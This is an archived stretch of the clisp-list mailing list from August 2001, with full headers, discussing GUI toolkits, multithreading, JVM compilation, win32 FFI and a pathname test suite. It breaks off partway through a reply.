Subject: Re: [clisp-list] lisp and GUIs Message-ID: <20010823070427.A156@localhost.localdomain> References: <20010822102616.A19149@cs.helsinki.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Aug 22, 2001 at 09:32:46AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, Aug 22, 2001 at 09:32:46AM -0400, Sam Steingold wrote: > > * Sent on Wed, 22 Aug 2001 10:26:16 +0300 > > * Honorable Einar Karttunen writes: > > > > What GUIs are commonly used in lisp applications? > > Is any of the guis portable for win32 and x? > > at the moment I can only recommend using socket interface to your > browser, like INSPECT in CLISP and CLOCC/CLLIB. > > we _are_ interested in adding a GUI toolkit to CLISP. > wxWindows, TK, Qt are the options. > would you like to work on this? wxWindows and Qt are C++ libraries. So if you want to use the FFI to create bindings for them, you will first have to extend the FFI to also support C++. Or is it possible (and practical) to use the FFI for C++, already? Regards, Peter From dlakelan@silcon.silcon.com Thu Aug 23 09:16:46 2001 Received: from silcon.silcon.com ([206.99.109.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Zx9d-0001VP-00 for ; Thu, 23 Aug 2001 09:16:25 -0700 Received: from localhost (ts3-149.silcon.com [207.0.105.149]) by silcon.silcon.com (8.11.2/8.11.2) with ESMTP id f7NGG3700202 for ; Thu, 23 Aug 2001 09:16:03 -0700 Received: from dlakelan by localhost with local (Exim 3.12 #1 (Debian)) id 15Zx9Z-0000BV-00 for ; Thu, 23 Aug 2001 09:16:21 -0700 Date: Thu, 23 Aug 2001 09:16:21 -0700 To: clisp-list@lists.sourceforge.net Message-ID: <20010823091621.A695@silcon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i From: Daniel Lakeland Subject: [clisp-list] Re: Multithreading in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: What is the actual status of multithreading in CLISP? I've heard about more and more people working on LISP based Web systems, and most wish they had multithreading. CLISP multithreading would be extremely valuable. I know that you have limited resources and various priorities, but I saw that it was being developed at one point. What has been done recently? What will it take to do, and how easy would it be to contribute to adding multi-threading? I myself would like to have it, but don't know how much I can contribute. Also one more question. It doesn't seem possible to bind a socket to listen on a given interface. How can I bind a socket that will listen on anything other than 127.0.0.1? Thanks for the work you've done! Dan Lakeland -- Daniel Lakeland dlakelan@endpointcomputing.com http://www.endpointcomputing.com From sds@gnu.org Thu Aug 23 10:14:30 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Zy3q-00039g-00 for ; Thu, 23 Aug 2001 10:14:30 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA23756; Thu, 23 Aug 2001 13:14:26 -0400 (EDT) X-Envelope-To: To: Daniel Lakeland Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Multithreading in CLISP References: <20010823091621.A695@silcon.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010823091621.A695@silcon.com> Date: 23 Aug 2001 13:13:20 -0400 Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010823091621.A695@silcon.com> > * On the subject of "[clisp-list] Re: Multithreading in CLISP" > * Sent on Thu, 23 Aug 2001 09:16:21 -0700 > * Honorable Daniel Lakeland writes: > > What will it take to do, and how easy would it be to contribute to > adding multi-threading? try building CLISP with -DMULTITHREAD and make it work on your platform. > It doesn't seem possible to bind a socket to listen on a given > interface. How can I bind a socket that will listen on anything other > than 127.0.0.1? I don't understand the question, but I think that the answer is http://clisp.cons.org/impnotes.html#socket -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Daddy, what does "format disk c: complete" mean? From rurban@x-ray.at Thu Aug 23 11:21:51 2001 Received: from ns1.tu-graz.ac.at ([129.27.2.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Zz6z-0000Jp-00 for ; Thu, 23 Aug 2001 11:21:49 -0700 Received: from x-ray.at (chello212186199154.sc-graz.chello.at [212.186.199.154]) by ns1.tu-graz.ac.at (8.9.3/8.9.3) with ESMTP id UAA08759 for ; Thu, 23 Aug 2001 20:21:39 +0200 (MET DST) Message-ID: <3B854994.E0EA2DEE@x-ray.at> Date: Thu, 23 Aug 2001 19:21:08 +0100 From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp and GUIs References: <20010822102616.A19149@cs.helsinki.fi> <20010823070427.A156@localhost.localdomain> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Peter Wood schrieb: > On Wed, Aug 22, 2001 at 09:32:46AM -0400, Sam Steingold wrote: > > > * Sent on Wed, 22 Aug 2001 10:26:16 +0300 > > > * Honorable Einar Karttunen writes: > > > > > > What GUIs are commonly used in lisp applications? > > > Is any of the guis portable for win32 and x? > > > > at the moment I can only recommend using socket interface to your > > browser, like INSPECT in CLISP and CLOCC/CLLIB. > > > > we _are_ interested in adding a GUI toolkit to CLISP. > > wxWindows, TK, Qt are the options. > > would you like to work on this? > > wxWindows and Qt are C++ libraries. So if you want to use the FFI to > create bindings for them, you will first have to extend the FFI to > also support C++. > > Or is it possible (and practical) to use the FFI for C++, already? if you know exactly with which compiler version the c++ dll was compiled, it is possible now. you can just call any c++ function with the unmangled name. are there any other issues with callbacks and probably new/delete I oversaw? if so we'll have to provide a wrapper dll which does the c++ memory management. this wrapper has to be produced automatically. the pythonwin folks (marc hammond) did it by hand, but it was a lot of work. same for com just tried the mentioned wxclips. this is really old, but it works. even the html viewer and dialog builder. so there is a successful wxwindows port for PLT scheme and clips. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From dave@cherryville.org Thu Aug 23 18:18:11 2001 Received: from h24-79-38-204.cg.shawcable.net ([24.79.38.204] helo=cherryville.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15a5bs-00029i-00 for ; Thu, 23 Aug 2001 18:18:09 -0700 Received: by cherryville.org (Postfix, from userid 501) id E331EB76D; Thu, 23 Aug 2001 19:22:23 -0600 (MDT) Received: from localhost (localhost [127.0.0.1]) by cherryville.org (Postfix) with ESMTP id D565FB76C for ; Thu, 23 Aug 2001 19:22:23 -0600 (MDT) Date: Thu, 23 Aug 2001 19:22:23 -0600 (MDT) From: Dave To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] JVM Compilation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Looking at the Tasks page at sf.net, I followed the JVM Compilation link to find No Matching Tasks ... Is this still a wanted feature for clisp? If so I am very interested. -- Dave From sds@gnu.org Fri Aug 24 07:29:02 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aHxF-0006cA-00 for ; Fri, 24 Aug 2001 07:29:01 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA25922; Fri, 24 Aug 2001 10:28:42 -0400 (EDT) X-Envelope-To: To: Dave Cc: Subject: Re: [clisp-list] JVM Compilation References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 24 Aug 2001 10:27:33 -0400 Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] JVM Compilation" > * Sent on Thu, 23 Aug 2001 19:22:23 -0600 (MDT) > * Honorable Dave writes: > > Looking at the Tasks page at sf.net, I followed the JVM Compilation > link to find No Matching Tasks ... Is this still a wanted feature for > clisp? If so I am very interested. this is a _very_ wanted feature. would you like to work on it? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I want Tamagochi! -- What for? Your pet hamster is still alive! From mats_bergstrom@yahoo.no Fri Aug 24 07:54:05 2001 Received: from hindenburg-s.online.no ([148.122.208.19] helo=fep1.mta.online.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aILV-0004FY-00 for ; Fri, 24 Aug 2001 07:54:05 -0700 Received: from THEODOR ([193.215.32.249]) by fep1.mta.online.no (InterMail vM.4.01.03.23 201-229-121-123-20010418) with ESMTP id <20010824145402.CIMH27128.fep1.mta.online.no@THEODOR> for ; Fri, 24 Aug 2001 16:54:02 +0200 To: clisp-list@lists.sourceforge.net From: mats_bergstrom@yahoo.no (Mats =?iso-8859-1?q?Bergstr=F8m?=) Date: 24 Aug 2001 17:06:27 +0200 Message-ID: Lines: 14 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] FFI and win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I'm trying to use FFI on win32. In the impnotes.html document (with CLISP 2.25, released 2001-03-15), section "Extensions-2.3. The Foreign Function Call Facility", there are two linking examples (29.4, 29.5), but both make use of the module facility ("Extensions-2.2. External Modules"). But this doesn't work on win32 since modules are Unix specific. Could someone provide similar examples for win32? Regards, Mats Bergstr=F8m. From dave@cherryville.org Fri Aug 24 07:59:10 2001 Received: from h24-79-38-204.cg.shawcable.net ([24.79.38.204] helo=cherryville.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aIQP-000089-00 for ; Fri, 24 Aug 2001 07:59:09 -0700 Received: by cherryville.org (Postfix, from userid 501) id 9613FB76D; Fri, 24 Aug 2001 09:03:29 -0600 (MDT) Received: from localhost (localhost [127.0.0.1]) by cherryville.org (Postfix) with ESMTP id 92D79B76C; Fri, 24 Aug 2001 09:03:29 -0600 (MDT) Date: Fri, 24 Aug 2001 09:03:29 -0600 (MDT) From: Dave To: Sam Steingold Cc: Subject: Re: [clisp-list] JVM Compilation In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold wrote: > > > * In message > > * On the subject of "[clisp-list] JVM Compilation" > > * Sent on Thu, 23 Aug 2001 19:22:23 -0600 (MDT) > > * Honorable Dave writes: > > > > Looking at the Tasks page at sf.net, I followed the JVM Compilation > > link to find No Matching Tasks ... Is this still a wanted feature for > > clisp? If so I am very interested. > > this is a _very_ wanted feature. > would you like to work on it? Yes I would. Where can I get the specifics? From Randy.Justice@cnet.navy.mil Fri Aug 24 08:02:52 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aITV-0002MF-00 for ; Fri, 24 Aug 2001 08:02:21 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id KAA17645 for ; Fri, 24 Aug 2001 10:01:42 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Fri, 24 Aug 2001 10:02:26 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] JVM Compilation Date: Fri, 24 Aug 2001 10:02:25 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C12CAD.C9227ED0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C12CAD.C9227ED0 Content-Type: text/plain; charset="iso-8859-1" Has someone done an evaluation on the tasks required for JVM Compilation? Has a plan been developed? Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Friday, August 24, 2001 9:28 AM To: Dave Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] JVM Compilation > * In message > * On the subject of "[clisp-list] JVM Compilation" > * Sent on Thu, 23 Aug 2001 19:22:23 -0600 (MDT) > * Honorable Dave writes: > > Looking at the Tasks page at sf.net, I followed the JVM Compilation > link to find No Matching Tasks ... Is this still a wanted feature for > clisp? If so I am very interested. this is a _very_ wanted feature. would you like to work on it? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I want Tamagochi! -- What for? Your pet hamster is still alive! _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net http://lists.sourceforge.net/lists/listinfo/clisp-list ------_=_NextPart_001_01C12CAD.C9227ED0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] JVM Compilation

Has someone done an evaluation on the tasks required = for JVM Compilation?
Has a plan been developed?

Randy

-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Friday, August 24, 2001 9:28 AM
To: Dave
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] JVM Compilation


> * In message = <Pine.LNX.4.30.0108231916160.25949-100000@cherryville.org>
> * On the subject of "[clisp-list] JVM = Compilation"
> * Sent on Thu, 23 Aug 2001 19:22:23 -0600 = (MDT)
> * Honorable Dave <dave@cherryville.org> = writes:
>
> Looking at the Tasks page at sf.net, I followed = the JVM Compilation
> link to find No Matching Tasks ... Is this = still a wanted feature for
> clisp?  If so I am very interested.

this is a _very_ wanted feature.
would you like to work on it?

--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
I want Tamagochi! -- What for?  Your pet = hamster is still alive!


_______________________________________________
clisp-list mailing list
clisp-list@lists.sourceforge.net
http://lists.sourceforge.net/lists/listinfo/clisp-list=

------_=_NextPart_001_01C12CAD.C9227ED0-- From sds@gnu.org Fri Aug 24 08:40:47 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aJ4g-00036A-00 for ; Fri, 24 Aug 2001 08:40:47 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA09639; Fri, 24 Aug 2001 11:40:37 -0400 (EDT) X-Envelope-To: To: Dave Cc: Subject: Re: [clisp-list] JVM Compilation References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 24 Aug 2001 11:39:35 -0400 Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] JVM Compilation" > * Sent on Fri, 24 Aug 2001 09:03:29 -0600 (MDT) > * Honorable Dave writes: > > Sam Steingold wrote: > > * Honorable Dave writes: > > > Looking at the Tasks page at sf.net, I followed the JVM Compilation > > > Is this still a wanted feature for CLISP? If so I am very interested. > > this is a _very_ wanted feature. > > would you like to work on it? > Yes I would. Where can I get the specifics? How familiar with JVM are you? How familiar with CLISP bytecodes are you? start with reading the appropriate impnotes parts, bytecode.d and eval.d get and build CVS CLISP. subscribe to clisp-devel and discuss this matter there. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From csr21@cam.ac.uk Fri Aug 24 08:57:46 2001 Received: from puce.csi.cam.ac.uk ([131.111.8.40]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aJL6-00011B-00 for ; Fri, 24 Aug 2001 08:57:45 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by puce.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15aJL0-0001Sz-00 for clisp-list@lists.sourceforge.net; Fri, 24 Aug 2001 16:57:38 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.32 #1 (Debian)) id 15aJL0-0003Kc-00 for ; Fri, 24 Aug 2001 16:57:38 +0100 Date: Fri, 24 Aug 2001 16:57:38 +0100 To: CLISP Message-ID: <20010824165738.A12803@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.20i From: Christophe Rhodes Subject: [clisp-list] Pathname tests Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dear all, As was requested a while back, I've made a sorta test suite for pathname handling, available from or cCLan CVS; I hope you don't mind me saying that clisp 2.27's behaviour isn't too great... To see the results, load the above file into a clisp session running on Unix (there are just one or two unix-specific bits), and type (run-tests). Diagnostics and information about failures will be sent to the *trace-output* stream. Thanks, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From sds@gnu.org Fri Aug 24 09:18:00 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aJei-0006XK-00 for ; Fri, 24 Aug 2001 09:18:00 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA17171; Fri, 24 Aug 2001 12:17:57 -0400 (EDT) X-Envelope-To: To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Pathname tests References: <20010824165738.A12803@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010824165738.A12803@cam.ac.uk> Date: 24 Aug 2001 12:16:53 -0400 Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010824165738.A12803@cam.ac.uk> > * On the subject of "[clisp-list] Pathname tests" > * Sent on Fri, 24 Aug 2001 16:57:38 +0100 > * Honorable Christophe Rhodes writes: > > As was requested a while back, I've made a sorta test suite for > pathname handling, available from > or > cCLan CVS; the link is broken (the one you sent c.l.l is broken too) > I hope you don't mind me saying that clisp 2.27's behaviour > isn't too great... only if your tests check ANSI compliance and not CMUCL compliance. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From csr21@cam.ac.uk Fri Aug 24 09:39:52 2001 Received: from navy.csi.cam.ac.uk ([131.111.8.49]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aJzn-00029E-00 for ; Fri, 24 Aug 2001 09:39:47 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by navy.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15aJzg-0000cf-00; Fri, 24 Aug 2001 17:39:40 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.32 #1 (Debian)) id 15aJzg-0003Pn-00; Fri, 24 Aug 2001 17:39:40 +0100 Date: Fri, 24 Aug 2001 17:39:40 +0100 From: Christophe Rhodes To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] Pathname tests Message-ID: <20010824173940.A13088@cam.ac.uk> References: <20010824165738.A12803@cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.20i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, Aug 24, 2001 at 12:16:53PM -0400, Sam Steingold wrote: > > * In message <20010824165738.A12803@cam.ac.uk> > > * On the subject of "[clisp-list] Pathname tests" > > * Sent on Fri, 24 Aug 2001 16:57:38 +0100 > > * Honorable Christophe Rhodes writes: > > > > As was requested a while back, I've made a sorta test suite for > > pathname handling, available from > > or > > cCLan CVS; > > the link is broken (the one you sent c.l.l is broken too) Thanks -- I believe this is now fixed. Apologies for that. > > I hope you don't mind me saying that clisp 2.27's behaviour > > isn't too great... > > only if your tests check ANSI compliance and not CMUCL compliance. Again, if you[*] feel that you disagree with my interpretation of the specification or that my tests are buggy, please let me know; a buggy set of tests is probably worse than no tests at all. Note that these tests were developed with the HyperSpec as sole reference; while I admit I could be wrong on any number of points (though I don't think so; I've read this section of the specification fairly closely) I think that even an implicit accusation of implementation-bias (before seeing the code!) is a little harsh. Cheers, Christophe [*] Addressed to anyone, not just Sam -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From sds@gnu.org Fri Aug 24 11:34:35 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aLms-0003fz-00 for ; Fri, 24 Aug 2001 11:34:34 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA10315; Fri, 24 Aug 2001 14:34:30 -0400 (EDT) X-Envelope-To: To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Pathname tests References: <20010824165738.A12803@cam.ac.uk> <20010824173940.A13088@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010824173940.A13088@cam.ac.uk> Date: 24 Aug 2001 14:33:19 -0400 Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010824173940.A13088@cam.ac.uk> > * On the subject of "Re: [clisp-list] Pathname tests" > * Sent on Fri, 24 Aug 2001 17:39:40 +0100 > * Honorable Christophe Rhodes writes: > > > > > > the link is broken (the one you sent c.l.l is broken too) > Thanks -- I believe this is now fixed. Apologies for that. works now - thanks! the file is largely useless as it is right now since it prints lots of junk (like this: ------ A serious error has occurred. This implementation has raised the following error on execution of ANSI-compliant code: ... Please fix this bug before continuing. ------ which is irrelevant) and does not print the _form_ which resulted in the error. it also dies on the first error. I suggest that you look at the CLOCC/src/tools/ansi-tests and the CLISP test suite (on which the CLOCC tests are based). It would be nice if your test could be added to those test suites. I wish I could investigate the CLISP errors - I cannot now since I do not have the form(s?) that generate errors (I want to see _all_ of them before I delve into this) and I do not have time to read your code. Sorry. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From csr21@cam.ac.uk Sat Aug 25 02:57:52 2001 Received: from lilac.csi.cam.ac.uk ([131.111.8.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15aaCJ-00055L-00 for ; Sat, 25 Aug 2001 02:57:47 -0700 Received: from lambda.jesus.cam.ac.uk ([131.111.229.91] ident=mail) by lilac.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15aaCB-0002JD-00; Sat, 25 Aug 2001 10:57:39 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.32 #1 (Debian)) id 15aaCB-0004Hd-00; Sat, 25 Aug 2001 10:57:39 +0100 Date: Sat, 25 Aug 2001 10:57:39 +0100 From: Christophe Rhodes To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] Pathname tests Message-ID: <20010825105739.A16382@cam.ac.uk> References: <20010824165738.A12803@cam.ac.uk> <20010824173940.A13088@cam.ac.uk> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="nFreZHaLTZJo0R7j" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.20i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: --nFreZHaLTZJo0R7j Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, Aug 24, 2001 at 02:33:19PM -0400, Sam Steingold wrote: > > * In message <20010824173940.A13088@cam.ac.uk> > > * On the subject of "Re: [clisp-list] Pathname tests" > > * Sent on Fri, 24 Aug 2001 17:39:40 +0100 > > * Honorable Christophe Rhodes writes: > > > > > > > > > the link is broken (the one you sent c.l.l is broken too) > > Thanks -- I believe this is now fixed. Apologies for that. > > works now - thanks! > > the file is largely useless as it is right now since it prints lots of > junk (like this: > > ------ > A serious error has occurred. > > This implementation has raised the following error on execution of ANSI-compliant code: > ... > Please fix this bug before continuing. > ------ > which is irrelevant) This is not irrelevant at all, though admittedly it isn't as helpful as it might be; since the error message (that you snipped) comes from clisp's condition system perhaps you should treat that as a bug report too. There are two issues, only one of which this code is testing; one is making sure that `answers' from pathname functions are right; the other is that errors 